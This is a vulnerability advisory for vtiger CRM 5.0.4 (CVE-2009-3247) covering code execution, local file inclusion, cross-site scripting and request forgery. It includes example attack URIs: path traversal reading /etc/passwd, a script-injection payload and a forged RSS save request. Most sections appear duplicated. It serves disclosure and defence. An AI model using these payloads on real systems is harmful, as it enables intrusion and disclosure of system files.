vtiger CRM Multiple Input Validation Vulnerabilities
BID:36062
Info
vtiger CRM Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 36062 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-3247 |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 18 2009 12:00AM |
| Updated: | Apr 13 2015 09:08PM |
| Credit: | Giovanni "evilaliv3" Pellerano, Antonio "s4tan" Parata, Francesco "ascii" Ongaro |
| Vulnerable: |
vtiger vtiger CRM 5.0.4 |
| Not Vulnerable: | |
Discussion
vtiger CRM Multiple Input Validation Vulnerabilities
vtiger CRM is prone to multiple input-validation vulnerabilities:
- A remote PHP code-execution vulnerability
- Multiple local file-include vulnerabilities
- A cross-site scripting vulnerability
- Multiple cross-site request-forgery vulnerabilities
Attackers can exploit these issues to execute arbitrary script code within the context of the webserver, perform unauthorized actions, compromise the affected application, steal cookie-based authentication credentials, or obtain information that could aid in further attacks.
The issues affect vtiger CRM 5.0.4; other versions may also be affected.
vtiger CRM is prone to multiple input-validation vulnerabilities:
- A remote PHP code-execution vulnerability
- Multiple local file-include vulnerabilities
- A cross-site scripting vulnerability
- Multiple cross-site request-forgery vulnerabilities
Attackers can exploit these issues to execute arbitrary script code within the context of the webserver, perform unauthorized actions, compromise the affected application, steal cookie-based authentication credentials, or obtain information that could aid in further attacks.
The issues affect vtiger CRM 5.0.4; other versions may also be affected.
Exploit / POC
vtiger CRM Multiple Input Validation Vulnerabilities
An attacker can use a browser to exploit these issues. To exploit the cross-site scripting and cross-site request-forgery vulnerabilities, the attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
For the cross-site request-forgery issue:
http://www.example.com/vtigercrm/index.php?module=Rss&action=Save&rssurl=http://www.example2.com
For the local file-include issues:
http://www.example.com/vtigercrm/graph.php?module=/../[..]/../etc/passwd%00
http://www.example.com/vtigercrm/index.php?module=Accounts&action=Import&parenttab=Support&step=/../[..]/../etc/passwd%00
http://www.example.com/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar
http://www.example.com/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar
For the cross-site scripting issue:
http://www.example.com/vtigercrm/phprint.php?module=Activities&action=--%3E%3Cscript%3Ealert(%22example%22);%3C/script%3E%3C!--
The following exploit is available:
An attacker can use a browser to exploit these issues. To exploit the cross-site scripting and cross-site request-forgery vulnerabilities, the attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
For the cross-site request-forgery issue:
http://www.example.com/vtigercrm/index.php?module=Rss&action=Save&rssurl=http://www.example2.com
For the local file-include issues:
http://www.example.com/vtigercrm/graph.php?module=/../[..]/../etc/passwd%00
http://www.example.com/vtigercrm/index.php?module=Accounts&action=Import&parenttab=Support&step=/../[..]/../etc/passwd%00
http://www.example.com/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar
http://www.example.com/vtigercrm/include/Ajax/CommonAjax.php?module=Email&file=bar
For the cross-site scripting issue:
http://www.example.com/vtigercrm/phprint.php?module=Activities&action=--%3E%3Cscript%3Ealert(%22example%22);%3C/script%3E%3C!--
The following exploit is available:
Solution / Fix
vtiger CRM Multiple Input Validation Vulnerabilities
Solution:
Reportedly, the vendor fixed some of the issues in the latest release, but Symantec has not confirmed this information.
Solution:
Reportedly, the vendor fixed some of the issues in the latest release, but Symantec has not confirmed this information.
References
vtiger CRM Multiple Input Validation Vulnerabilities
References:
References:
- vtiger Homepage (vtiger)
- Vtiger CRM 5.0.4 Multiple Vulnerabilities (ascii
- Vtiger CRM 5.0.4 Multiple Vulnerabilities (ush.it)